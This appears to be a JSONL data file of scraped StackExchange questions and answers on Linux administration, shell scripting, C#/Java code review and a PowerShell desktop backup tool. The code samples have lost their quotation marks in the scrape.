{  "id": "_unix.289207"  , "question": "On a RHEL7 notebook we have a: 03:00.0 Network controller: Intel Corporation Wireless 7265 (rev 59)card, which we want to use only with G mode, N should be disabled. How can we do this? iwconfig command doesn't exists by default. Question: How can we check that my wireless is using G or N currently? Under RHEL 7, no iwconfig. And how can we set it to use only G by default?It is needed to set it to G because N mode has bugs. "  , "title": "How to disable wireless N on Centos/RHEL 7?"  , "tags": "rhel;wifi"  , "accepted_answer": "To disable Wireless N in the module echo options iwlwifi 11n_disable=1 | sudo tee /etc/modprobe.d/iwl-opt.confRebootBut I would suggest enabling Wireless N on the router and trying this optionecho options iwlwifi 11n_disable=8 | sudo tee /etc/modprobe.d/iwl-opt.confThis command enables aggressive TX on Wireless-N and fixes a lot of issues"  } 
{  "id": "_unix.170659"  , "question": "The help docs mention marking for upgrade.  The context menu and menu bar do not have this option listed at all, and the only non-greyed-out options are marking for removal or complete removal.  There are some 40 packages in Installed (upgradeable) but there doesn't seem to be any way of actually upgrading them.  This is on Linux Mint 17, 32-bit.  What am I doing wrong?"  , "title": "Why is there no mark for upgrade in Synaptic Package Manager for upgradeable packages?"  , "tags": "linux mint;package management;upgrade;synaptic"  , "accepted_answer": "In Linux Mint 17 Qiana, Synaptic officially lacks the upgrade feature. This is for sake of stability - users are supposed to use mintupdate for already-installed packages. Synaptic can still be used to install additional, new packages."  } 
{  "id": "_codereview.172611"  , "question": "I have two text boxes where a user inputs a start and a end, that is how it is supposed to work at least.  Rather than throwing an error if end < start, I was thinking I could use the built in functions Min() & Max() to capture which value is actually which.Is this the most efficient way of capturing the Min() & Max() value of text box input?int start = Math.Min(Convert.ToInt32(txtStart.Text), Convert.ToInt32(txtEnd.Text));int end = Math.Max(Convert.ToInt32(txtStart.Text), Convert.ToInt32(txtEnd.Text));"  , "title": "Capture Min() And Max() Of Numbers Input"  , "tags": "c#;performance"  } 
{  "id": "_codereview.82210"  , "question": "I want to see if anyone knows how to optimize the code below:public class smallestTest{   public static void main(String[] args)   {      double resultSmallest = smallest(2.5, 3.5, 4.5);      System.out.println(The smallest number out of 2.5, 3.5, and 4.5 is:  + resultSmallest);   }  /**  Computes the smallest of three variables  @param x, y, z  @returns smallestNumber */    public static double smallest(double x, double y, double z)    {         double smallestNumber = 0;         if ( x < y && x < z)         {           smallestNumber = x;         }         else if (y < x && y < z)         {            smallestNumber = y;         }         else if (z < x && z < y)         {            smallestNumber = z;         }         return smallestNumber;      }}"  , "title": "Comparing multiple arguments and returns the smallest argument"  , "tags": "java;numerical methods"  , "accepted_answer": "You can use something called Varargs that was introduced in java 5.It is used in method declarations to declare arguments as an array.public void myMethod(double... doubleArray) {}public void callMyMethod() {    myMethod(1.2, 4, 2, 1); // all those are put into a double[]}You can adapt this to your program by doing the following:public static double smallest(double... vals) {    // must pass at least 1 argument. You could also return Double.NaN or something    if(vals.length == 0) throw new IllegalArgumentException(smallest must be passed at least 1 value.);    // start with the first value as the smallest    double smallest = vals[0];    for(int i=1;i<vals.length;i++) {        // see if this ones smaller than our stored smallest        if(vals[i] < smallest) {            smallest = val[i];        }    }    return smallest;}You can then call this with as many double values as you like."  } 
{  "id": "_unix.139363"  , "question": "Recursively iterating through files in a directory can easily be done by:find . -type f -exec bar {} \\;However, the above does not work for more complex things, where a lot of conditional branches, looping etc. needs to be done. I used to use this for the above:while read line; do [...]; done < <(find . -type f)However, it seems like this doesn't work for files containing obscure characters:$ touch $'a\\nb'$ find . -type f./a?bIs there an alternative that handles such obscure characters well?"  , "title": "Recursively iterate through files in a directory"  , "tags": "bash;directory;recursive"  , "accepted_answer": "Yet another use for safe find:while IFS= read -r -d '' -u 9do    [...]done 9< <( find . -type f -exec printf '%s\\0' {} + )(This works with any POSIX find, but the shell part requires bash. With *BSD and GNU find, you can use -print0 instead of -exec printf '%s\\0' {} +, it will be slightly faster.)This makes it possible to use standard input within the loop, and it works with any path."  } 
{  "id": "_unix.15052"  , "question": "What are the advantages of swap on a raid-1 (mirror) device?(in a server environment running linux)I mean, you can just use multiple disk devices in linux for swap. And with swap devices that have the same priority, the kernel has the possibility to optimize reads and writes (i.e. striping).I can think of one: With raid-1 and hot-swappable drives you can change a failed leg of the swap-mirror without rebooting. Assuming that the kernel did not already read and use a corrupted page from the failing leg.Without raid1 you would have to either reboot or swap-off the failed device and hope that only unimportant processes (with now unavailable paged-out memory) are terminated.Is this one advantage, and are there others?"  , "title": "What are the advantages of swap on a raid-1 (mirror) device?"  , "tags": "swap;raid1"  , "accepted_answer": "You've mostly got them: slightly faster reads (but slower writes), and the ability to survive a failed drive without losing all the swapped-out processes. There's another: if your machine only has RAID-1 filesystems (or RAID-1 for the OS and RAID-5 for data, or similar arrangements), you might not want to complicate your setup further by having yet another drive arrangement just for swap.Note that RAID-1 doesn't catch data errors, so the kernel did not already read and use a corrupted page from the failing leg doesn't come into play. The assumption behind RAID-1 is that a sector read either succeeds and returns the last-stored data, or fails with an error code."  } 
{  "id": "_unix.367108"  , "question": "I know what a while loop is. However, I've only seen it work with:while [condition]while ![condition]while TRUE (infinite loop)Where the statement after while has to be either TRUE or FALSE.There is a shell builtin command named :. It is described as a dummy command doing nothing, but I do not know if it is the same here, even if can it be TRUE or FALSE.  Maybe it is something different, but what?"  , "title": "What does while :; mean?"  , "tags": "bash;shell script"  , "accepted_answer": "The syntax is:while  first list of commandsdo  second list of commandsdonewhich runs the second list of commands in a loop as long as the first list of commands (so the last run in that list) is successful.In that first list of commands, you can use the [ command to do various kinds of tests, or you can use the : null command that does nothing and returns success, or any other command.while :; do cmd; doneRuns cmd over and over forever as : always returns success. That's the forever loop. You could use the true command instead to make it more legible:while true; do cmd; donePeople used to prefer : as : was always builtin while true was not (a long time ago; most shells have true builtin nowadays).Other variants you might see:while [ 1 ];  do cmd; doneAbove, we're calling the [ command to test whether the 1 string is non-empty (so always true as well)while ((1)); do cmd; doneUsing the Korn/bash/zsh ((...)) syntax to mimic the while(1) { ...; } of C.Or more convoluted ones like until false; do cmd; done, until ! true...Those are sometimes aliased like:alias forever='while :; do'So you can do something like:forever cmd; doneFew people realise that the condition is a list of commands. For instance, you see people writing:while :; do  cmd1  cmd2 || break  cmd3doneWhen they could have written:while  cmd1  cmd2do  cmd3doneIt does make sense for it to be a list as you often want to do things like while cmd1 && cmd2; do...; done which are command lists as well.In any case, note that [ is a command like any other (though it's built-in in modern Bourne-like shells), it doesn't have to be used solely in the if/while/until condition lists, and those condition lists don't have to use that command more than any other command. : is also shorter and accepts arguments (which it ignores). While the behaviour of true or false is unspecified if you pass it any argument. So one may do for instance:while : you wait; do  somethingdoneBut, the behaviour of:until false is true; do  somethingdoneis unspecified (though it would work in most shell/false implementations)."  } 
{  "id": "_webapps.4902"  , "question": "The web application I built throws errors when presented with unknown query string variables, so I'd like to manually set the tracking values manually, much like:http://www.google.com/support/analytics/bin/answer.py?hl=en&answer=55577But by setting the values directly, not the variables to look for the values in.Is this possible?"  , "title": "Is it possible to set Google Analytics campaign tracking values manually?"  , "tags": "google analytics"  } 
{  "id": "_codereview.79130"  , "question": "I wrote a PS script to backup data from single user pcs to their network homedrive. The purpose of this tool is to save some time and ensure process consistency when reimaging/replacing machines. I would appreciate  your critiques and ideas. I am new to Powershell scripting.Breakdown of the scripts job:BACKUP:Creates a folder on the user's Home drive named Desktop Backup.Creates a subfolder within the Desktop Backup folder called %WorkstationName%.%date% (IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015).Copies all the Office Documents and Data files from the workstation C drive to the %WorkstationName%.%date% folder. The file types include:(.pptx,.xlsx,.accdb,.docx,.pst,.xls,.doc,.pab,.pdf,.ppt,.mdb,.jpg,.bmp,.gif,.vsd,.mp*,.doc,.xltx,.xltm,.xlam,.ppt*,.potx,.potm,.ppam,.ppsx,.ppsm,.acc*,.pdf,.jpeg,.png,.csv)Creates a subfolder within the %WorkstationName%.%Date% folder called Configuration(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Configuration).Creates seperate text files within the Configuration folder containing information on user's mapped drives, remote desktop users on the machine, administrator accounts on the machine, and mapped printers.Creates a subfolder within the %WorkstationName%.%Date% folder called Desktop(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Desktop).Copies all the user's Desktop folder to the Desktop folder, excluding *lnk, *.url, and *.exe files.Creates a subfolder within the %WorkstationName%.%Date% folder called Office Files(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files).Creates a subfolder within the Office Files folder called NK2(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files\\NK2).Copies all the files from the user's Outlook folder to the NK2 folder.Creates a subfolder within the Office Files folder called Proof(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files\\Proof).Copies all the files from the user's Proof folder to the Proof folder.Creates a subfolder within the Office Files folder called Signatures(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files\\Signatures).Copies all the files from the user's Signatures folder to the Signatures folder.Creates a subfolder within the Office Files folder called Quick Launch(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files\\Quick Launch).Copies all the files from the user's Quick Launch folder to the Quick Launch folder.RESTORE:Copies all the files from the users NK2 folder (IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files\\NK2) to the user's Outlook folder.Copies all the files from the Proof folder (IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files\\Proof) to the user's Proof folder.Copies all the files from the Signatures folder(IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Office Files\\Signatures) to the user's Signatures folder.Copies all the files from the users Desktop folder (IE: H:\\Desktop Backup\\WC3ISYW257.1.21.2015\\Desktop) to the user's desktop (excluding *.lnk, *.url, and *.exe).The Restore function does not put the users HomeDrive data back on the C:\\ as we are trying to encourage users to not use the C:\\ for storage. It also does not restore the quick launch bar. It also excludes the restore of *.lnk, *.url, and *.exe from the user's desktop. The reason for these is backwards/forwards Windows XP/7 OS compatibility.[void] [System.Reflection.Assembly]::LoadWithPartialName(System.Drawing) [void] [System.Reflection.Assembly]::LoadWithPartialName(System.Windows) [void] [System.Reflection.Assembly]::LoadWithPartialName(System.Management)#Generated Form Functionfunction GenerateForm {######################################################################### Created On: 1/19/2015# Generated By: Josh Pratt########################################################################$date = Get-Date -Format d.M.yyyy_h_m_s#region Import the Assemblies[reflection.assembly]::loadwithpartialname(System.Windows.Forms) | Out-Null[reflection.assembly]::loadwithpartialname(System.Drawing) | Out-Null#endregion#region Generated Form Objects$formDSBACKUP = New-Object System.Windows.Forms.Form$label1 = New-Object System.Windows.Forms.Label$RESTORE = New-Object System.Windows.Forms.Button$BACKUP = New-Object System.Windows.Forms.Button$InitialFormWindowState = New-Object System.Windows.Forms.FormWindowState#endregion Generated Form Objects$BACKUP_OnClick= {    #region Import the Assemblies    [reflection.assembly]::loadwithpartialname(System.Windows.Forms) | Out-Null    [reflection.assembly]::loadwithpartialname(System.Drawing) | Out-Null    #endregion    #region Generated Form Objects    $formBACKUP = New-Object System.Windows.Forms.Form    $comboBox1 = New-Object System.Windows.Forms.ComboBox    $label1 = New-Object System.Windows.Forms.Label    $BACKUPall = New-Object System.Windows.Forms.Button    $InitialFormWindowState = New-Object System.Windows.Forms.FormWindowState    $computername = $env:COMPUTERNAME    $date = Get-Date -Format M.d.yyyy    #endregion Generated Form Objects        $BACKUPall_OnClick=         {            #region Generated Form Objects    $formBACKUP = New-Object System.Windows.Forms.Form    $comboBox1 = New-Object System.Windows.Forms.ComboBox    $label1 = New-Object System.Windows.Forms.Label    $BACKUPall = New-Object System.Windows.Forms.Button    $InitialFormWindowState = New-Object System.Windows.Forms.FormWindowState    $date = Get-Date -Format M.d.yyyy    $Include = @(*.pptx,*.xlsx,*.accdb,*.docx,*.pst,*.xls,*.doc,*.pab,*.pdf,*.ppt,*.mdb,*.jpg,*.bmp,*.gif,*.vsd,*.mp*,*.doc*,*.xltx,*.xltm,*.xlam,*.ppt*,*.potx,*.potm,*.ppam,*.ppsx,*.ppsm,*.acc*,*.pdf*,*.jpeg*,*.png*,*.csv*)     $this = $env:username    $this2 = $env:username    $Desktop = [Environment]::GetFolderPath(Desktop)    $exclude = @('*.lnk','*.url','*.exe')    $dest = H:\\Desktop Backup\\$computername.$date\\Desktop    #endregion Generated Form Objects        $Result = Test-Path -Path C:\\Program Files (x86)            if($Result -eq $true){                New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\configuration        Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName >> H:\\Desktop Backup\\$computername.$date\\configuration\\MappedDrives.txt                Get-WmiObject -class Win32_printer | ft name, systemName, shareName >> H:\\Desktop Backup\\$computername.$date\\configuration\\printers.txt        net localgroup Remote Desktop Users >> H:\\Desktop Backup\\$computername.$date\\configuration\\RemoteDesktopUsers.txt                net localgroup Administrators >> H:\\Desktop Backup\\$computername.$date\\configuration\\Administrators.txt        Get-ChildItem c:\\ -Include $include -Recurse | where {$_ -notmatch 'Windows'}| where{$_ -notmatch 'Program Files'} | where {$_ -notmatch 'inetpub'} | where {$_ -notmatch 'Desktop'}|Foreach{Copy-Item $_.fullname H:\\Desktop Backup\\$computername.$date}        New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\Quick Launch                Get-ChildItem C:\\Users\\$this\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch | % {         Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\Quick Launch -Recurse  -Force                        }                New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\Signatures        Get-ChildItem C:\\Users\\$this\\AppData\\Roaming\\Microsoft\\Signatures | % {                    Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\Signatures -Recurse  -Force                        }                New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\Proof        Get-ChildItem C:\\Users\\$this\\AppData\\Roaming\\Microsoft\\Proof | % {                    Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\Proof -Recurse  -Force                        }                New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\NK2        Get-ChildItem C:\\Users\\$this\\AppData\\Roaming\\Microsoft\\Outlook | % {                    Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\NK2 -Recurse  -Force                        }                     New-Item -ItemType Directory -Path $dest                    Get-ChildItem $Desktop -Recurse -Exclude $exclude | Copy-Item -Destination {Join-Path $dest $_.FullName.Substring($Desktop.length)}| out-null                }             else {                New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\configuration        Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName >> H:\\Desktop Backup\\$computername.$date\\configuration\\MappedDrives.txt                Get-WmiObject -class Win32_printer | ft name, systemName, shareName >> H:\\Desktop Backup\\$computername.$date\\configuration\\printers.txt        net localgroup Remote Desktop Documents and Settings >> H:\\Desktop Backup\\$computername.$date\\configuration\\RemoteDesktopUsers.txt                net localgroup Administrators >> H:\\Desktop Backup\\$computername.$date\\configuration\\Administrators.txt        Get-ChildItem c:\\ -Include $include -Recurse | where {$_ -notmatch 'Windows'}| where{$_ -notmatch 'Program Files'} | where {$_ -notmatch 'inetpub'} | where {$_ -notmatch 'Desktop'}|Foreach{Copy-Item $_.fullname H:\\Desktop Backup\\$computername.$date}        New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\Quick Launch                Get-ChildItem C:\\Documents and Settings\\$this2\\Application Data\\Microsoft\\Internet Explorer\\Quick Launch | % {         Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\Quick Launch -Recurse  -Force         }        New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\Signatures                Get-ChildItem C:\\Documents and Settings\\$this2\\Application Data\\Microsoft\\Signatures | % {         Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\Signatures -Recurse  -Force         }        New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\Proof                Get-ChildItem C:\\Documents and Settings\\$this2\\Application Data\\Microsoft\\Proof | % {         Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\Proof -Recurse  -Force         }        New-Item -ItemType Directory -Path H:\\Desktop Backup\\$computername.$date\\Office Files\\NK2                Get-ChildItem C:\\Documents and Settings\\$this2\\Application Data\\Microsoft\\Outlook | % {         Copy-Item $_.FullName H:\\Desktop Backup\\$computername.$date\\Office Files\\NK2 -Recurse -Force                    }                 New-Item -ItemType Directory -Path $dest                Get-ChildItem $Desktop -Recurse -Exclude $exclude | Copy-Item -Destination {Join-Path $dest $_.FullName.Substring($Desktop.length)}| out-null                }         $outputBox.text = BACKUP COMPLETE        Start-Sleep -S 10        $formBACKUP.close()        }    $OnLoadForm_StateCorrection=    {#Correct the initial state of the form to prevent the .Net maximized form issue        $formBACKUP.WindowState = $InitialFormWindowState    }    #----------------------------------------------    #region Generated Form Code    $System_Drawing_Size = New-Object System.Drawing.Size    $System_Drawing_Size.Height = 240    $System_Drawing_Size.Width = 450    $formBACKUP.ClientSize = $System_Drawing_Size    $formBACKUP.DataBindings.DefaultDataSourceUpdateMode = 0    $formBACKUP.Name = formBACKUP    $formBACKUP.Text = BACKUP    $formBACKUP.StartPosition = CenterScreen    $outputBox = New-Object System.Windows.Forms.TextBox    $outputBox.Location = New-Object System.Drawing.Size(25, 187)    $outputBox.Size = New-Object System.Drawing.Size(400, 50)    $outputBox.MultiLine = $True    $formBACKUP.Controls.Add($outputBox)    $outputbox.DataBindings.DefaultDataSourceUpdateMode = 0    $BACKUPall.DataBindings.DefaultDataSourceUpdateMode = 0    $System_Drawing_Point = New-Object System.Drawing.Point    $System_Drawing_Point.X = 25    $System_Drawing_Point.Y = 160    $BACKUPall.Location = $System_Drawing_Point    $BACKUPall.Name = BACKUPall    $System_Drawing_Size = New-Object System.Drawing.Size    $System_Drawing_Size.Height = 23    $System_Drawing_Size.Width = 400    $BACKUPall.Size = $System_Drawing_Size    $BACKUPall.TabIndex = 2    $BACKUPall.Text = BACKUP    $BACKUPall.UseVisualStyleBackColor = $True    $BACKUPall.add_Click($BACKUPall_OnClick)    $formBACKUP.Controls.Add($BACKUPall)    $Label1 = New-Object System.Windows.Forms.Label    $Label1.Location = New-Object System.Drawing.Size(25, 6)    $Label1.size = New-Object System.Drawing.Size(400, 800)    $Label1.text = Pressing Backup will:    1. Create a folder called Desktop Backup on the H drive.     2. Create text files to record rights, mapped drives, and printers.    3. Backup all data files and office documents.    4. Backup custom features such as NK2, signature,dictionary, and quick launch files.    Once pressed this tool will appear to freeze. Leave it alone until you see BACKUP COMPLETE below.    $Font = New-Object System.Drawing.Font(Times New Roman,9.75,[System.Drawing.FontStyle]::bold)    # Font styles are: Regular, Bold, Italic, Underline, Strikeout    $label1.Font = $Font    $formBACKUP.Controls.Add($Label1)    #endregion Generated Form Code    #Save the initial state of the form    $InitialFormWindowState = $formBACKUP.WindowState    #Init the OnLoad event to correct the initial state of the form    $formBACKUP.add_Load($OnLoadForm_StateCorrection)    #Show the Form    $formBACKUP.ShowDialog()| Out-Null}   $RESTORE_OnClick= {    #region Import the Assemblies    [reflection.assembly]::loadwithpartialname(System.Windows.Forms) | Out-Null    [reflection.assembly]::loadwithpartialname(System.Drawing) | Out-Null    #endregion    #region Generated Form Objects    $formrestore = New-Object System.Windows.Forms.Form    $comboBox2 = New-Object System.Windows.Forms.ComboBox    $label1 = New-Object System.Windows.Forms.Label    $Restore2 = New-Object System.Windows.Forms.Button    $user = [Environment]::UserName    $Desktop2 = [Environment]::GetFolderPath(Desktop)    $NK2 = C:\\users\\$user\\AppData\\Roaming\\Microsoft\\Outlook     $Signatures = C:\\users\\$user\\AppData\\Roaming\\Microsoft\\Signatures    $NK2_XP = C:\\documents and Settings\\$user\\Application Data\\Microsoft\\Outlook     $Signatures_XP = C:\\documents and Settings\\$user\\Application Data\\Microsoft\\Signatures    $InitialFormWindowState = New-Object System.Windows.Forms.FormWindowState    $QL_XP = C:\\documents and Settings\\$user\\Application Data\\Microsoft\\Internet Explorer\\Quick Launch     $QL = C:\\users\\$user\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch    $PROOF_XP = C:\\Documents and Settings\\$user\\Application Data\\Microsoft\\Proof     $PROOF = C:\\users\\$user\\AppData\\Roaming\\Microsoft\\Proof    $computername = $env:COMPUTERNAME    #endregion Generated Form Objects        $Restore2_OnClick=         {$SelectedItem = $comboBox2.SelectedItem.ToString()        $Result = Test-Path -Path C:\\Program Files (x86)            if($Result -eq $true){                Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Desktop | % {        Copy-Item $_.FullName -Destination $Desktop2 -Recurse         }        New-Item -ItemType Directory -Path $Signatures        Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Office Files\\Signatures | % {                Copy-Item $_.FullName -Destination $Signatures -Recurse                 }                New-Item -ItemType Directory -Path $NK2                Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Office Files\\NK2 | % {        Copy-Item $_.FullName -Destination $NK2 -Recurse         }        New-Item -ItemType Directory -Path $PROOF        Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Office Files\\Proof | % {                Copy-Item $_.FullName -Destination $PROOF -Recurse                 }}            else {Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Desktop | % {        Copy-Item $_.FullName -Destination $Desktop2 -Recurse         }        New-Item -ItemType Directory -Path $Signatures_XP        Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Office Files\\Signatures | % {                Copy-Item $_.FullName -Destination $Signatures_XP -Recurse                 }                New-Item -ItemType Directory -Path $NK2_XP                Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Office Files\\NK2 | % {        Copy-Item $_.FullName -Destination $NK2_XP -Recurse         }        Get-ChildItem H:\\Desktop Backup\\$SelectedItem\\Office Files\\Proof | % {                Copy-Item $_.FullName -Destination $PROOF_XP -Recurse                 }}                $formrestore.close()        }    $OnLoadForm_StateCorrection=    {#Correct the initial state of the form to prevent the .Net maximized form issue        $formrestore.WindowState = $InitialFormWindowState    }    #----------------------------------------------    #region Generated Form Code    $System_Drawing_Size = New-Object System.Drawing.Size    $System_Drawing_Size.Height = 240    $System_Drawing_Size.Width = 450    $formrestore.ClientSize = $System_Drawing_Size    $formrestore.DataBindings.DefaultDataSourceUpdateMode = 0    $formrestore.Name = formrestore    $formrestore.Text = RESTORE    $formrestore.StartPosition = CenterScreen#   $outputBox = New-Object System.Windows.Forms.TextBox#   $outputBox.Location = New-Object System.Drawing.Size(10, 60)#   $outputBox.Size = New-Object System.Drawing.Size(430, 160)#   $outputBox.MultiLine = $True#   $outputBox.ScrollBars = Vertical##   $formrestore.Controls.Add($outputBox)    $outputbox.DataBindings.DefaultDataSourceUpdateMode = 0    $Restore2.DataBindings.DefaultDataSourceUpdateMode = 0    $System_Drawing_Point = New-Object System.Drawing.Point    $System_Drawing_Point.X = 270    $System_Drawing_Point.Y = 205    $Restore2.Location = $System_Drawing_Point    $Restore2.Name = Restore    $System_Drawing_Size = New-Object System.Drawing.Size    $System_Drawing_Size.Height = 23    $System_Drawing_Size.Width = 175    $Restore2.Size = $System_Drawing_Size    $Restore2.TabIndex = 2    $Restore2.Text = Restore    $Font = New-Object System.Drawing.Font(Times New Roman,9.75,[System.Drawing.FontStyle]::Bold)    $Restore2.font = $Font     $Restore2.UseVisualStyleBackColor = $True    $Restore2.add_Click($Restore2_OnClick)    $comboBox2.DataBindings.DefaultDataSourceUpdateMode = 0    $comboBox2.FormattingEnabled = $True    $System_Drawing_Point = New-Object System.Drawing.Point    $System_Drawing_Point.X = 1    $System_Drawing_Point.Y = 205    $comboBox2.Location = $System_Drawing_Point    $comboBox2.Name = comboBox2    $System_Drawing_Size = New-Object System.Drawing.Size    $System_Drawing_Size.Height = 21    $System_Drawing_Size.Width = 259    $comboBox2.Size = $System_Drawing_Size    $comboBox2.TabIndex = 4$Result = Test-Path -Path C:\\Program Files (x86)            if($Result -eq $true){$win = Get-ChildItem H:\\Desktop Backup#       $ders = Where-Object {$win -like Windows.*}        foreach($item in $win) {            if($item.name -like *.*){            $comboBox2.items.add($item.name)            }}}            else {$win = Get-ChildItem H:\\Desktop Backup#       $ders = Where-Object {$win -like Windows.*}        foreach($item in $win) {            if($item.name -like Personal Settings.*){            $comboBox2.items.add($item.name)            }}}    $formrestore.Controls.Add($combobox2)    $formrestore.Controls.Add($Restore2)    $Label1 = New-Object System.Windows.Forms.Label    $Label1.Location = New-Object System.Drawing.Size(1, 6)    $Label1.size = New-Object System.Drawing.Size(400, 800)    $Label1.text =         Clicking restore will perform the following:    1. Restore Desktop documents    2. Restore NK2 files    3. Restore Signature files    4. Restore Proof files    Select the Computer's Backup folder using the drop down box below.    Once selected please click Restore.    This window will close once items have been restored.    Please note for NK2 and Signature files:     You will still have to select them from within Outlook.    $Font = New-Object System.Drawing.Font(Times New Roman,9.75,[System.Drawing.FontStyle]::Bold)    # Font styles are: Regular, Bold, Italic, Underline, Strikeout    $label1.Font = $Font    $formrestore.Controls.Add($Label1)    #endregion Generated Form Code    #Save the initial state of the form    $InitialFormWindowState = $formrestore.WindowState    #Init the OnLoad event to correct the initial state of the form    $formrestore.add_Load($OnLoadForm_StateCorrection)    #Show the Form    $formrestore.ShowDialog()| Out-Null}$OnLoadForm_StateCorrection={#Correct the initial state of the form to prevent the .Net maximized form issue    $formDSBACKUP.WindowState = $InitialFormWindowState}#----------------------------------------------#region Generated Form Code$System_Drawing_Size = New-Object System.Drawing.Size$System_Drawing_Size.Height = 300$System_Drawing_Size.Width = 284$formDSBACKUP.ClientSize = $System_Drawing_Size$formDSBACKUP.DataBindings.DefaultDataSourceUpdateMode = 0$formDSBACKUP.Name = formDSBACKUP$formDSBACKUP.Text = SaveIT! - Desktop Backup Tool$formDSBACKUP.StartPosition = WindowsDefaultLocation$formDSBACKUP.StartPosition = CenterScreen$label1.DataBindings.DefaultDataSourceUpdateMode = 0$System_Drawing_Point = New-Object System.Drawing.Point$System_Drawing_Point.X = 10$System_Drawing_Point.Y = 1$Font = New-Object System.Drawing.Font(Times New Roman,9.75,[System.Drawing.FontStyle]::Bold)# Font styles are: Regular, Bold, Italic, Underline, Strikeout$label1.Font = $Font$label1.Location = $System_Drawing_Point$label1.Name = label1$System_Drawing_Size = New-Object System.Drawing.Size$System_Drawing_Size.Height = 225$System_Drawing_Size.Width = 259$label1.Size = $System_Drawing_Size$label1.TabIndex = 3$label1.Text = Choose the function you are looking to perform:BACKUP: If this is a machine that is being replaced/reimaged.RESTORE: If this is a machine that has been replaced or reimaged.PLEASE NOTE: The restore portion of this tool will only work if you used this tool to backup this users information previously$formDSBACKUP.Controls.Add($label1)$RESTORE.DataBindings.DefaultDataSourceUpdateMode = 0$System_Drawing_Point = New-Object System.Drawing.Point$System_Drawing_Point.X = 20$System_Drawing_Point.Y = 255$RESTORE.Location = $System_Drawing_Point$RESTORE.Name = RESTORE$System_Drawing_Size = New-Object System.Drawing.Size$System_Drawing_Size.Height = 23$System_Drawing_Size.Width = 240$RESTORE.Size = $System_Drawing_Size$RESTORE.TabIndex = 1$RESTORE.Text = RESTORE$RESTORE.UseVisualStyleBackColor = $True$RESTORE.add_Click($RESTORE_OnClick)$formDSBACKUP.Controls.Add($RESTORE)$BACKUP.DataBindings.DefaultDataSourceUpdateMode = 0$System_Drawing_Point = New-Object System.Drawing.Point$System_Drawing_Point.X = 20$System_Drawing_Point.Y = 225$BACKUP.Location = $System_Drawing_Point$BACKUP.Name = BACKUP$System_Drawing_Size = New-Object System.Drawing.Size$System_Drawing_Size.Height = 23$System_Drawing_Size.Width = 240$BACKUP.Size = $System_Drawing_Size$BACKUP.TabIndex = 1$BACKUP.Text = BACKUP$BACKUP.UseVisualStyleBackColor = $True$BACKUP.add_Click($BACKUP_OnClick)$formDSBACKUP.Controls.Add($BACKUP)$formDSBACKUP.Controls.Add($PRTADTW705)#endregion Generated Form Code#Save the initial state of the form$InitialFormWindowState = $formDSBACKUP.WindowState#Init the OnLoad event to correct the initial state of the form$formDSBACKUP.add_Load($OnLoadForm_StateCorrection)#Show the Form$formDSBACKUP.ShowDialog()| Out-Null} #End Function#Call the FunctionGenerateForm"  , "title": "Backing up single-user PC data"  , "tags": "beginner;powershell"  } 
{  "id": "_unix.384303"  , "question": "The default target returned by systemctl[user@host system]$ systemctl get-defaultmulti-user.targetdiffers from the value of the /usr/lib/systemd/system/default.target link:[user@host system]$ ls -l /usr/lib/systemd/system/default.targetlrwxrwxrwx. 1 root root 16 Mar 10 21:20 /usr/lib/systemd/system/default.target -> graphical.targetMy understanding was that these were one and the same. If systemd doesn't store the default value as the default.target symlink, where is the real value of the default target stored by systemd? "  , "title": "systemctl get-default differs from default.target link"  , "tags": "systemd"  , "accepted_answer": "This is most likely because /etc/systemd/system/default.target exists and points to multi-user.targetIf you change the default.target with systemctl set-default [unit], the new default.target link is created in /etc/systemd/system/. The existing /usr/lib/systemd/system/default.target is not changed when using the set-default command. Like with all systemd units, the ones in /etc take precedence over /usr."  } 
